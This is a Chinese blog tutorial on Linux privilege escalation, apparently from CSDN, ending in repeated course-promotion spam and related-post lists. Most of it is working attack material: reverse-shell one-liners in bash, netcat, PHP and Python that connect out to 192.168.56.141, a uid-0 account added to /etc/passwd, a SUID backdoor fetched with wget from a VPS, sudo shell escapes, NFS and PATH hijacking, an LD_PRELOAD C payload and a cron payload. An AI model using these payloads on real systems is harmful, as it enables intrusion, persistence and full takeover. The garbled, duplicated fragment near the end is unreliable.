linux 提权总结_linux提权


(1)通过find



find test -exec “whoami” ;


可用于反弹shell



bash -ip >& /dev/tcp/192.168.56.141/5555 0>&1
sh -ip >& /dev/tcp/192.168.56.141/5555 0>&1


有netcat:



nc 192.168.56.141 5555 -e /bin/bash


 有php:



php -r ‘KaTeX parse error: Expected 'EOF', got '&' at position 57: …c("/bin/sh -i <&̲3 >&3 2>&3");' …sock=fsockopen(“192.168.56.141”,5555);exec(“/bin/bash -i 0>&3 1>&3 2>&3”);’


 需要注意的是,php反弹shell的这些方法都需要php关闭safe\_mode这个选项,才可以使用exec函数。


 有python:



python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.56.141”,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’


 普通用户反弹


![](https://img-blog.csdnimg.cn/7b8b6d1021814ad99ba2bc3810fee925.png)


![](https://img-blog.csdnimg.cn/338b73aaa8114778ace4522038494bff.png)


带suid的find命令反弹



find /bin/bash -exec bash -ip >& /dev/tcp/192.168.56.141/5555 0>&1 ;


 -ip表示以特权模式启动的一个交互式shell


![](https://img-blog.csdnimg.cn/12a4c61c5f7c4c6ea5f352a9d0a31c90.png)


 ![](https://img-blog.csdnimg.cn/61157371bd9b4bd780354f60115029d8.png)


(2)cp


利用openssl生成密码



openssl passwd -1 -salt 114154 cmd114514


 将/etc/passwd文件复制到当前目录,添加用户,并且添加密码


![](https://img-blog.csdnimg.cn/dfde843774334c86be6f0bec66123a70.png)


 上面添加了aaa用户,但是用户id为0,表示root权限


之后复制修改后的passwd到原位置,su aaa一下,发现是root权限


![](https://img-blog.csdnimg.cn/b53b32d386504ca4baa5e4e54c719b69.png)


非suid的cp则修改后无法复制到/etc目录下


(3)vim


如果获取普通用户权限,知道这个用户的密码并且无法sudo bash,可以直接修改/etc/sudoers文件


![](https://img-blog.csdnimg.cn/b81ccf310dcd435abd79a28c3e0b1397.png)


这样sudo bash/sudo su可直接获取一个root权限的shell


也可以尝试用**John the Ripper**爆破shadow文件


因为从 [Debian]( ) 11 / bullseye 系统 (适用于Kali)开始, 默认的密码哈希函数使用 [yescrypt]( ) 。  
 因此之前 John the Ripper 的命令将**无法再运行**。


会爆出No password hashes loaded的错误


可以尝试添加     **--format=crypt**   的参数


比如



john --format=crypt file


查看已经爆破出的密码



john --show file


(4)编写脚本留下后门


![](https://img-blog.csdnimg.cn/80190f0ae39e4d508c8a7873f8f9a9f2.png)


 然后vps 利用python开启一个简单的http服务



python -m SimpleHTTPServer 7777
或者
python -m http.server 2333


目标机



wget http://your_vps:7777/well


 然后 gcc一下


建议脚本编译在目标机器中,否则可能出现无法运行的情况


 简单来说就是获取root权限后,可以赋予二进制文件suid属性,并且chmod 777


![](https://img-blog.csdnimg.cn/fd630d1f51154a8a9973599bda64050b.png)


再次获取权限为www-data用户


![](https://img-blog.csdnimg.cn/fd3e78d90d4b4eaf888df207c9b832df.png)


运行后门脚本变为root权限 


![](https://img-blog.csdnimg.cn/bc6658dc7f0043c086ec033f9930cff6.png)


 参考


[GTFOBins]( )


## 二.sudo 提权


1.sudo是以root权限去运行一个命令,且不需要知道root用户的密码,只需要知道本用户的密码(su则是切换用户,su root需要知道root用户的密码)


当知道用户密码,但无法 sudo bash或者sudo su的时候,可以尝试用其他命令提权



sudo -l查看当前用户可以以sudo运行的命令或者二进制文件


2./etc/sudoers是关于sudo的配置文件,当用户运行sudo命令的时候系统就回去配置文件中查看是否可以运行相关命令


1.sodu vim


当visudo被禁用,可以尝试 sudo vim /etc/sudoers是否可以修改配置文件,从而达到可以sudo su,或者sudo bash的目标


2.git


当 sudo允许执行git命令的时候,可利用



sudo git help config
然后输入
!/bin/bash



sudo git -p help
!/bin/bash


3.find 提权


此时无法执行


![](https://img-blog.csdnimg.cn/0fa617b992c746609bc87a2eb5cffce1.png)


执行



sudo find / -exec bash ;


此时find无suid权限,但是可以sudo提权


![](https://img-blog.csdnimg.cn/9985d612e0d24ee0a125b2c759664b96.png)


 4.perl


-e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash.



sudo perl -e ‘exec bash’
sudo perl -e ‘exec “/bin/bash”;’


 5.python


pty(伪终端库)    pty.spawn生成一个进程



sudo python3 -c ‘import pty;pty.spawn(“/bin/bash”)’


![](https://img-blog.csdnimg.cn/434f8dc12c0849aebd6f123285e3782e.png)


 6.less


less以root权限浏览文件内容时



sudo less test


其后输入



!bash


获取root shell


7.awk



sudo awk ‘BEGIN {system(“/bin/bash”)}’


![](https://img-blog.csdnimg.cn/e9e3d1d440ef4aa69e52e2a1eebc1259.png)


 8.man



sudo man man


依然是输入!bash


9.vim,vi



sudo vi/vim


 进入编辑界面后 !bash


10.如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去


例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可。  
![](https://img-blog.csdnimg.cn/b9a855cb28244184b2f7d08038ae23f5.png)


![](https://img-blog.csdnimg.cn/1edf413b549346aa850170f7b6aa9953.png)


 11.env



sudo env /bin/bash


 12.ftp



sudo ftp
!bash


![](https://img-blog.csdnimg.cn/34886898f21b489a8e3ce79831044bd3.png)


13.socat/netcat


先插入netcat的用法:


netcat -e选择指定程序,有些机器上出于安全考虑无-e选项


运行-e的机器上为靶机


比如正向shell:


靶机:



nc -lvvp 4444 -e /bin/bash


 攻击机



nc ip port


反向shell:


攻击机监听:



nc -lvvp 4444


靶机:



nc -e /bin/bash ip port


当无法-e(反弹shell)的时候:


在攻击机上监听两个端口,例如4444,5555


靶机上执行



nc 192.168.56.141 4444| /bin/bash |nc 192.168.56.141 5555


使得在攻击机4444端口输入的命令可以在5555端口上回显


![](https://img-blog.csdnimg.cn/08e982959cd34e1c9e2223b34f3fa2b8.png)


 root权限执行在所有命令前加sudo 就好


14.cp/scp


scp是一个安全复制文件的命令


提权用法与suid相似


如果sudo设置了黑名单,比如不让用sudo find


由于cp无法直接生成一个shell,但是可以sudo cp将find命令复制到其他路径,再sudo find获得root  shell


如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其它目录运行。


![](https://img-blog.csdnimg.cn/ba1c8a3b2202436a9c03912b16a2c35a.png)


## **三.nfs配置不当提权**


**NFS是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享。**


![](https://img-blog.csdnimg.cn/53d357a02a944c619bbd9e0bb914de02.png)


攻击机查看:


![](https://img-blog.csdnimg.cn/b4520c3b812941ba9a3ab3b1b374256b.png)


发现有可以来自所有主机连接的/home目录挂载(且攻击机可以以root身份访问nfs)  
 1.


目的是攻击机以root身份访问挂载目录,传入bash,并且赋予suid(root)权限


首先将攻击机权限提升至root


挂载空目录



mount -t nfs 192.168.56.130:/home /tmp/test


 传入bash



cp /bin/bash /tmp/test/rneck


来到目录,赋予bash suid权限



chmod u+s bash


![](https://img-blog.csdnimg.cn/3314f2b92cb74039a463f002745b5a30.png)


这里我kali传入的bash在ubuntu上无法运行,所以选择了在靶机上先往nfs目录种传入bash,攻击机kali chown,chmod一下就OK了


![](https://img-blog.csdnimg.cn/ce6bad9b128141d6aa867b25bf437822.png)


回到靶机,提权成功


![](https://img-blog.csdnimg.cn/874448a702db42f38709c751e62020e9.png)


重点是可以以root身份赋予二进制(命令)文件suid权限,这样机器上的目标用户就可以提权


发挥想象力.......除了搬bash利用方式还有很多......


## **四.利用path环境变量进行提权**


上演一手移花接木


假设拿到了某台机子的普通用户权限,但是有suid权限的命令不好直接利用,sudo又不知道密码,shadow利用John the Ripper也破解不出密码。那就可以全局搜索一下某些运维程序/文件是否有suid(root属主)权限,如果有的话,可以查看文件看看调用了哪些命令,然后就可以在环境变量里面做些手脚提权。


比如桌面上有一运维文件,属主root,有suid权限



echo “/bin/bash” > ps


运行后是执行了ps命令


 ![](https://img-blog.csdnimg.cn/f2a44f10ddbc4d6aa16a1cf52a268292.png)


 此时在/tmp目录下创建ps文件,并且将 /bin/bash 写入



echo “/bin/bash” > ps


 chmod 777 ps一下



export PATH=/tmp:$PATH


在环境变量中导入/tmp这个路径,这样系统在寻找ps命令的时候就会优先在/tmp目录下寻找



echo $PATH


![](https://img-blog.csdnimg.cn/d4092d575016480e9f3a2a7f5fc2d102.png)


 ![](https://img-blog.csdnimg.cn/b092f383741346ae958b9934d9c577e3.png)


或者创建符号链接



ln -s /bin/bash ps


 或者直接cp



cp /bin/bash ps


 情况:这种情况适用于,给普通用户分配了个可执行程序,且该程序有suid权限,我们又知道该程序会调用哪些命令,那么就可以结合PATH来进行提权。


## **五.利用LD\_PRELOAD环境变量进行提权**


**LD\_PRELOAD是Linux下的一个环境变量,程序运行时都会加载一些so文件,类似于windows下程序加载dll,而LD\_PRELOAD可以指定程序运行前加载的动态连接库。**  
 如果sudo -l发现可用的命令不好直接进行提权,可尝试此方法


下面以find为例(find 可以直接提权)


.c代码


![](https://img-blog.csdnimg.cn/7ea0b174211b427bb22bec90dbe46521.png)



#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init(){
unsetenv(“LD_PRELOAD”);
setuid(0);
setgid(0);
system(“/bin/bash”);
}


 编译



gcc test.c -fPIC -shared -o test.so -nostartfiles


 wget下载到目录


执行



sudo LD_PRELOAD=./test.so find


![](https://img-blog.csdnimg.cn/4728ea2e0e5a4670828bef27ebbc9336.png)


方法的好处是自建的so文件无需root属主或者是suid权限,只需要一个可以sudo执行的命令


苛刻的地方是sudoers之前有特殊配置,比如需要env\_keep 


![](https://img-blog.csdnimg.cn/f8ae5bfe4c9c4acc8668808eb7a1e35a.png)


否则就会出现报错


![](https://img-blog.csdnimg.cn/b367e57bf6df49d48c79eed73c1eed6d.png)


## **六.利用CRON环境变量进行提权**


 cronjobs是定时任务,在特定的日期和时间执行计划任务。例如定期备份或者定期清理某个目录等都会用到,定义格式如下:  
![](https://img-blog.csdnimg.cn/a2864782a2f74774b53ab045a649841d.png)



1.可以修改定时任务文件


首先查看目标/etc/crontab,看看有无可利用的文件


![](https://img-blog.csdnimg.cn/3ff30b80444f4e00882bb3ed693cc8e2.png)


若有,转到相应的文件并且修改,如一个py文件并且属主为root,若能修改文件,可添加如下代码


![](https://img-blog.csdnimg.cn/5a9dd6a3c4db407bb0cc39e5a3109532.png)



import os
import sys
try:
os.system(“chmod u+s /bin/bash”)
except:
sys.exit()


 每隔一分钟将 /bin/bash 赋予suid权限


之后



/bin/bash -p


**先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前在阿里**

**深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年最新Linux运维全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/0705a3853565420a2bb7e31ee24280a0.png)
![img](https://img-blog.csdnimg.cn/img_convert/e03c1d6970159b5ee666e5b89a80eb9d.png)
![img](https://img-blog.csdnimg.cn/img_convert/48a963a72c3aba67f5f9efe414ede0c6.png)
![img](https://img-blog.csdnimg.cn/img_convert/1a56513b97022998c687c8054575ef0e.png)
![img](https://img-blog.csdnimg.cn/img_convert/7669acde38a4e808a576fb5fd01e3794.png)

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上运维知识点,真正体系化!**

**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**

**[需要这份系统化的资料的朋友,可以点击这里获取!](https://bbs.csdn.net/topics/618542503)**

n/bash")
except:
        sys.exit()
                

每隔一分钟将 /bin/bash 赋予suid权限

之后

/bin/bash -p

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前在阿里

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新Linux运维全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-F7U4mKOE-1714135759774)]
[外链图片转存中…(img-46n4S1XP-1714135759776)]
[外链图片转存中…(img-ugAhk0o3-1714135759776)]
[外链图片转存中…(img-HBjif9EO-1714135759777)]
[外链图片转存中…(img-mEvzfk03-1714135759777)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上运维知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化的资料的朋友,可以点击这里获取!

相关推荐

  1. linux 总结_linux

    2024-04-29 12:38:02       17 阅读
  2. Linux内网

    2024-04-29 12:38:02       18 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-29 12:38:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-29 12:38:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-29 12:38:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-29 12:38:02       20 阅读

热门阅读

  1. 阿赵Json工具AzhaoJson的Lua版本

    2024-04-29 12:38:02       12 阅读
  2. 【Spark】读取本地文件

    2024-04-29 12:38:02       11 阅读
  3. rust语言tokio库spawn, blocking_spawn等的使用

    2024-04-29 12:38:02       22 阅读
  4. Element

    Element

    2024-04-29 12:38:02      15 阅读
  5. H3C 交换机配置 IGMP-snooping 注意点

    2024-04-29 12:38:02       13 阅读
  6. SVM中常用的核函数及适用场景

    2024-04-29 12:38:02       11 阅读
  7. Grafana - Configure generic OAuth2 authentication

    2024-04-29 12:38:02       37 阅读